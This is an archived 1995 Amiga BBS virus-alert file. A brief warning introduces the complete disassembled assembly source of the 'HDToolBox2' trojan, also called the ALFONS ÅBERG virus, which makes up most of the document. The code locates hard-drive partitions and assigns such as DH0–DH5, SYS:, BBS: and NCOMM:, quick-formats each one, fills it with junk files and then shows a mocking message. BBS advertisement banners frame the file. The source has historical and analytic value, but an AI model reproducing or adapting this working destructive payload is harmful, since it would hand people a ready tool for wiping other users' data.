scene.org File Archive

File download

<root>­/­resources­/­docs­/­virus_alerts/hdtb409.txt

File size:
22 642 bytes (22.11K)
File date:
2020-05-29 05:45:04
Download count:
all-time: 380

Preview

           -( [ bOONDOCKS! ] [ oNE oF tHE fASTEST iN eUROPE ] )-
    ________________________________________________________________________
 __/  __ __/   _ __/   _ __/   _ __/ ___ __/   _ __/   ____/   / __/   ____/
 \_   _  \_    / \_    / \_    / \_    / \_    / \_    / \_   _  \_____  \_
  /   / ¯¯/  _/   /  _/   /   /   /  _/   /  _/   /  _/   /   / ¯¯/  _/   /
 /___     \__     \__     \__/    \__     \__     \__     \__/    \__     \
 sAl1      \/______\/      \/______\/      \/______\/      \/______\/      \
   /        \      /________\      /        \      /________\      /
  /          \                    /          \                    /
        [ tRIStAR aND rED^sECTOR ¡NC! lSD! aND hELLFIRE! aMIGA eHq! ]
                     [ oRIGIN! aND iLLUSION aMIGA eHq!]
 [·tRIStAR & rED^sECTOR ¡NC! cONSOLE·&·gERMAN cONSOLE sYNDICATE wORLD hQ!·]
    [·tRISTAR & rED^sECTOR ¡NC! /X-iNNOVATION wORLD dISTRIBUTION sITE!·]
            [·pARADOX·sUNFLEX iNC.·&·dEVIOUS dEZIGNS dUTCH hQ!·]
                    [·pRO·ARTS & rOADHOGZ eUROPEAN hQ!·]
 
                           sYSOP: [-s/\L-oNE!-]
  cOSYSOPS: [mARIO/tRSI!] [sECTORCHARGER/tRSI/tRSI/tRSI&fTH!] [aPOLLO/pDX!]
       [eCS/tRSI/tRSI!] [aSTRO/vD/fLT!] [aRTIC cAT!/sNK/eDGE/hF/oTT!]
 
    2 * cREDITZ fOR mAJORS! 3 * cREDITZ fOR mAJORS fROM yOUR oWN gROUP!
                 --»> lATEST aMIEXPRESS vERSION 4.xX! <«--
         ---»> nO nEW uSER pASSWORD aND/oR sYSTEM pASSWORD! <«---
 
-[ +31-(0)-548-540-653 ]--[ +31-(0)-548-521-716 ]--[ +31-(0)-548-521-848 ]-
     -[ 16k8 dUAL ]-          -[ 16k8 dUAL ]-          -[ 16k8 dUAL ]-

     [-[[ uPLOADEd bY: ¶r¡nçe Øf Th¡e       ]]-] [-[[ nODE: 01    ]]-]
  [-[[ tIME aND dATE oF tHE uPLOAD: ]]---[[ 23:23:26 ]]--[[ 07-22-95 ]]-]
                           - --(· FastAdd v1.2 By Nike/Craze^Del!ght -95 ·)-- -




                   ._______.
                   |       |       ._______.
  _________________|       |_______|_______|_______________________________.
  \_________       |       |       |_______|              \_________       |
   |       |       |             --|       |       |_______|       |       |
   |       |       |       |       |       |       |       |       |       |
   |_______________|_______|_______|_______|_______|    tP!|_______________|
   =========================================================================
       .EDGE.WHQ.RAZOR.1911.CHQ.ROM.1911.WHQ.PROPHECY.CHQ.SNEAKERS.CHQ.
         .5.GIGABYTES.ONLINE.1O.NODES.AMIGA.IBM.PC.MACINTOSH.CONSOLE.
            .SYSOPS:.PHARAOH.DEVIOUS.DOZE.FALLEN.ANGEL.THE.ROAMER.
           .STAFF:.LUNATIC.GENIUS.THE.DUTCHMEN.STAR.GAZOR.MAVERICK.
   =========================================================================




******************************************************************
**** **** **** Yet another HD formatter hit scene ***** ***** ****
******************************************************************

The HDToolBox2 in a very lame virus, which tries to quick format
the following drives/assigns:

DH0: DH1: DH2: DH3: DH4: DH5: D0H0: SYS: BBS: NCOMM:

this would not be a great damage, but the virus also writes ~20 files
in the root of the newly formatted drive... this may cause annoyance
or even serious troubles!!


				Rikki Ratboy/DhB


[---------------------> SNIP HERE FOR THE SOURCE <---------------------------]

_LVOSupervisor	equ	-$1E
_LVOAttemptLockDosList	equ	-$29A
_LVOOpen	equ	-$1E
_LVOFormat	equ	-$2CA
_LVORawDoFmt	equ	-$20A
_LVOOutput	equ	-$3C
_LVOWrite	equ	-$30
_LVOFindDosEntry	equ	-$2AC
_LVOOpenLibrary	equ	-$228
_LVODelay	equ	-$C6
_LVOGetFileSysTask	equ	-$20A
_LVOInhibit	equ	-$2D6
****************************************************************************

	SECTION	HDToolBox20000000,CODE
ProgStart	suba.w	#$24,sp
	lea	(doslibrary.MSG,pc),a1
	moveq	#0,d0
	movea.l	(4).w,a6
	jsr	(_LVOOpenLibrary,a6)
	movea.l	d0,a5
	bra.b	lbC00001E

lbC000016	moveq	#$32,d1
	movea.l	a5,a6
	jsr	(_LVODelay,a6)
lbC00001E	moveq	#5,d1
	movea.l	a5,a6
	jsr	(_LVOAttemptLockDosList,a6)
	movea.l	d0,a3
	tst.l	d0
	beq.b	lbC000016
	lea	(BBS.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0000E8
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0000E8
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	lea	(CHOKe.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(BBS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00007E	movem.l	a2/a3,-(sp)
	lea	(CHOKeDOPisGOD.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00007E
	lea	(CHOKeGODisEVi.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0000E8	lea	(DH0.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0001A4
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0001A4
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	lea	(dOP.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(-$2D6,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00013A	movem.l	a2/a3,-(sp)
	lea	(dOPaNuSld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(-$1E,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(-$30,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00013A
	lea	(dOPhihihi.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0001A4	lea	(DH1.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000260
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000260
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	lea	(dEMONS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH1.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0001F6	movem.l	a2/a3,-(sp)
	lea	(dEMONSpENiSld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0001F6
	lea	(dEMONShohoho.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000260	lea	(DH2.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC00031C
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC00031C
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	lea	(pENTAGRAM.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH2.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0002B2	movem.l	a2/a3,-(sp)
	lea	(pENTAGRAMmACR.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0002B2
	lea	(pENTAGRAMrEVE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC00031C	lea	(DH3.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0003D8
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0003D8
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiRELESS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH3.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00036E	movem.l	a2/a3,-(sp)
	lea	(WiRELESShELLl.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00036E
	lea	(WiRELESShATe.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0003D8	lea	(DH4.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000494
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000494
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREMORE.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH4.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00042A	movem.l	a2/a3,-(sp)
	lea	(WiREMOREsATAn.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00042A
	lea	(WiREMOREPEACE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000494	lea	(DH5.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000550
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000550
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	lea	(sTEELFACe.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(DH5.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0004E6	movem.l	a2/a3,-(sp)
	lea	(sTEELFACeMyTV.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0004E6
	lea	(sTEELFACestEE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000550	lea	(D0H0.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC00060C
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC00060C
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiRED.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(D0H0.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC0005A2	movem.l	a2/a3,-(sp)
	lea	(WiREDGODSarmy.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC0005A2
	lea	(WiREDtHEfORCE.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC00060C	lea	(SYS.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC0006CA
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC0006CA
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREFACE.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(SYS.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a2
lbC00065E	movem.l	a2/a3,-(sp)
	lea	(WiREFACECPld.MSG,pc),a0
	lea	($28,sp),a1
	lea	(8,sp),a3
	movea.l	(4).w,a6
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	cmpi.l	#$1E,($20,sp)
	blt.b	lbC00065E
	lea	(WiREFACEharha.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC0006CA	lea	(NCOMM.MSG,pc),a0
	move.l	a3,d1
	move.l	a0,d2
	moveq	#$10,d3
	movea.l	a5,a6
	jsr	(_LVOFindDosEntry,a6)
	tst.l	d0
	beq.w	lbC000788
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	moveq	#-1,d2
	jsr	(_LVOInhibit,a6)
	tst.l	d0
	beq.w	lbC000788
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	lea	(WiREBAjS.MSG,pc),a0
	move.l	a0,d2
	move.l	#$444F5301,d3
	jsr	(_LVOFormat,a6)
	lea	(NCOMM.MSG0,pc),a0
	move.l	a0,d1
	moveq	#0,d2
	jsr	(_LVOInhibit,a6)
	move.l	d2,($20,sp)
	lea	(lbC0007DA,pc),a3
lbC00071C	movem.l	a2/a3,-(sp)
	lea	(WiREBAjSYourT.MSG,pc),a0
	lea	($28,sp),a1
	movea.l	(4).w,a6
	movea.l	a3,a2
	lea	(8,sp),a3
	jsr	(_LVORawDoFmt,a6)
	movem.l	(sp)+,a2/a3
	movea.l	a5,a6
	lea	(sp),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$61,d3
	jsr	(_LVOWrite,a6)
	addq.l	#1,($20,sp)
	moveq	#$1E,d0
	cmp.l	($20,sp),d0
	bne.b	lbC00071C
	lea	(WiREBAjSPARAD.MSG,pc),a0
	move.l	a0,d1
	move.l	#$3EE,d2
	movea.l	a5,a6
	jsr	(_LVOOpen,a6)
	lea	(ALFONSBERGViR.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	move.l	#$186A0,d3
	jsr	(_LVOWrite,a6)
lbC000788	movea.l	a5,a6
	jsr	(_LVOOutput,a6)
	lea	(Youvebeenhitb.MSG,pc),a0
	move.l	d0,d1
	move.l	a0,d2
	moveq	#$60,d3
	add.l	d3,d3
	jsr	(_LVOWrite,a6)
	move.l	#$3E8,d1
	jsr	(_LVODelay,a6)
lbC0007A8	bra.b	lbC0007A8

doslibrary.MSG	dc.b	'dos.library',0
BBS.MSG	dc.b	'BBS',0
BBS.MSG0	dc.b	'BBS:',0,0
CHOKe.MSG	dc.b	'CHOKe',0
CHOKeDOPisGOD.MSG	dc.b	'CHOKe:DOPisGOD%ld',0,0
	dc.b	0

lbC0007DA	move.b	d0,(a3)+
	rts

	dc.w	0
ALFONSBERGViR.MSG	dc.b	'ALFONS ÅBERG ViRUS v2.0 ßeta by WiREFACE / dEMONS oF'
	dc.b	' tHE pENTAGRAM, dedicated to (Corn)Flake/TRSI',0
CHOKeGODisEVi.MSG	dc.b	'CHOKe:GODisEViL',0
DH0.MSG	dc.b	'DH0',0
DH0.MSG0	dc.b	'DH0:',0,0
dOP.MSG	dc.b	'dOP',0
dOPaNuSld.MSG	dc.b	'dOP:aNuS%ld',0,0
	dc.b	0
dOPhihihi.MSG	dc.b	'dOP:hihihi',0,0
DH1.MSG	dc.b	'DH1',0
DH1.MSG0	dc.b	'DH1:',0,0
dEMONS.MSG	dc.b	'dEMONS',0,0
dEMONSpENiSld.MSG	dc.b	'dEMONS:pENiS%ld',0,0
	dc.b	0
dEMONShohoho.MSG	dc.b	'dEMONS:hohoho',0
DH2.MSG	dc.b	'DH2',0
DH2.MSG0	dc.b	'DH2:',0,0
pENTAGRAM.MSG	dc.b	'pENTAGRAM',0
pENTAGRAMmACR.MSG	dc.b	'pENTAGRAM:mACROMAn%ld',0,0
	dc.b	0
pENTAGRAMrEVE.MSG	dc.b	'pENTAGRAM:rEVENGE!',0,0
DH3.MSG	dc.b	'DH3',0
DH3.MSG0	dc.b	'DH3:',0,0
WiRELESS.MSG	dc.b	'WiRELESS',0,0
WiRELESShELLl.MSG	dc.b	'WiRELESS:hELL%ld',0,0
WiRELESShATe.MSG	dc.b	'WiRELESS:!hATe!',0
DH4.MSG	dc.b	'DH4',0
DH4.MSG0	dc.b	'DH4:',0,0
WiREMORE.MSG	dc.b	'WiREMORE',0,0
WiREMOREsATAn.MSG	dc.b	'WiREMORE:sATAn%ld',0,0
	dc.b	0
WiREMOREPEACE.MSG	dc.b	'WiREMORE:PEACEloveUNDERSTANDiNG',0
DH5.MSG	dc.b	'DH5',0
DH5.MSG0	dc.b	'DH5:',0,0
sTEELFACe.MSG	dc.b	'sTEELFACe',0
sTEELFACeMyTV.MSG	dc.b	'sTEELFACe:MyTV%ld',0,0
	dc.b	0
sTEELFACestEE.MSG	dc.b	'sTEELFACe:stEELFisT',0
D0H0.MSG	dc.b	'D0H0',0,0
D0H0.MSG0	dc.b	'D0H0:',0
WiRED.MSG	dc.b	'WiRED',0
WiREDGODSarmy.MSG	dc.b	'WiRED:GODSarmy%ld',0,0
	dc.b	0
WiREDtHEfORCE.MSG	dc.b	'WiRED:tHEfORCE',0,0
SYS.MSG	dc.b	'SYS',0
SYS.MSG0	dc.b	'SYS:',0,0
WiREFACE.MSG	dc.b	'WiREFACE',0,0
WiREFACECPld.MSG	dc.b	'WiREFACE:CP%ld',0,0
WiREFACEharha.MSG	dc.b	'WiREFACE:harharhar',0,0
NCOMM.MSG	dc.b	'NCOMM',0
NCOMM.MSG0	dc.b	'NCOMM:',0,0
WiREBAjS.MSG	dc.b	'WiREBAjS',0,0
WiREBAjSYourT.MSG	dc.b	'WiREBAjS:YourTV%ld',0,0
WiREBAjSPARAD.MSG	dc.b	'WiREBAjS:PARADiSE',0
Youvebeenhitb.MSG	dc.b	'You''ve been hit by (boom) (boom), you''ve been hit '
	dc.b	'by (boom) a smooth criminal (Alfons that is, tihi)! '
	dc.b	'- Good luck restoring your lousy hD - WE HATE YOU AL'
	dc.b	'L! HA HA HA HA HA !!! (echo) ha ha ha',$A,0
	dc.b	0

	rts
	nop
	end

@BEGIN_FILE_ID.DIZWARNING!WARNING!WARNING!WARNING!WARNING!

The file hdtb409.lha is an HD formatter
-- read inside for details and source --

WARNING!WARNING!WARNING!WARNING!WARNING!
@END_FILE_ID.DIZ

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
           -( [ bOONDOCKS! ] [ oNE oF tHE fASTEST iN eUROPE ] )-
           ____    ____                   ____                _
     _____|_ __|__|  __|__  _____________|  __|__   _________/| ____________
    /    _  \\___ \  \___ \/\__   \   __ \  \___ \_/   _    / |/   /   _   /
   /    _/__/  |/  \   |/  \   \   \_/ /  \   |/  \    /___/ _/ __/\    \_/
  /    /   \_  /    \  /    \  /    / /    \  /    \  /   \  \   \__\_   \
 /   _/     /_/     /_/     / /    /_/     /_/     /_/    /   \   \_ /    \
 \ ________/_______/_______/_/____/_______/_______/______/____|\   /______/
  \/                                                            \_/-rS!
        [ tRIStAR aND rED^sECTOR ¡NC! lSD! aND hELLFIRE! aMIGA eHq! ]
                     [ oRIGIN! aND iLLUSION aMIGA eHq!]
 [·tRIStAR & rED^sECTOR ¡NC! cONSOLE·&·gERMAN cONSOLE sYNDICATE wORLD hQ!·]
    [·tRISTAR & rED^sECTOR ¡NC! /X-iNNOVATION wORLD dISTRIBUTION sITE!·]
            [·pARADOX·sUNFLEX iNC.·&·dEVIOUS dEZIGNS dUTCH hQ!·]
                    [·pRO·ARTS & rOADHOGZ eUROPEAN hQ!·]
 
                            sYSOP: [-s/\L-oNE!-] 
 cOSYSOPS: [mARIO/tRSI!] [sECTORCHARGER/tRSI/tRSI/tRSI&fTH!] [aPOLLO/pDX!]
       [eCS/tRSI/tRSI!] [aSTRO/mOVEMENT!] [aRTIC cAT!/sNK/eDGE/oTT!]

    2 * cREDITZ fOR mAJORS! 3 * cREDITZ fOR mAJORS fROM yOUR oWN gROUP!
                 --»> lATEST aMIEXPRESS vERSION 4.xX! <«--
         ---»> nO nEW uSER pASSWORD aND/oR sYSTEM pASSWORD! <«---

-[ +31-(0)-548-540-653 ]--[ +31-(0)-548-521-716 ]--[ +31-(0)-548-521-848 ]-
     -[ 16k8 dUAL ]-          -[ 16k8 dUAL ]-          -[ 16k8 dUAL ]-

     [-[[ uPLOADEd bY: ¶r¡nçe Øf Th¡e       ]]-] [-[[ nODE: 01    ]]-]
  [-[[ tIME aND dATE oF tHE uPLOAD: ]]---[[ 23:23:31 ]]--[[ 07-22-95 ]]-]

                           - --(· FastAdd v1.2 By Nike/Craze^Del!ght -95 ·)-- -
 .....................................    .................................
:         :     :   ......... :       :  :      :......    :      :        :
:       .·      :  :        : :  GHQ  :  ·.......      :   :     .·        :
:       :       ·. :        : :      :..........:      :  :      :         :
:       :........: :........: ·........................·..:......:....     :
:                                                                          :
:      ___/\_____________/\ /\______/\__/\_________                        :
:      \_/  \    /_____    )   )_     )/   )   ___/   aMiGa-CoNSoLeS       :
:     ___\_  \__/_____/   /   /_/   _//   //   \        aSCii-aNSi         :
:     \  (/)  \_/   \____/   / \    \/   //     \_     ART-CORE WHQ        :
:      \_____ /\_____|  (__ /  _\ ___/_ /\_______/            .            :
:           \/Seven M|    \/ _(_ \/   \//\___________________/|__/\____    :
:                           (_)\       /  \    /   _/\____|   \____/__/    :
:     fIvE nOdEs rIngdOwn           ___\_  \__/   //  \   |   |   .|       :
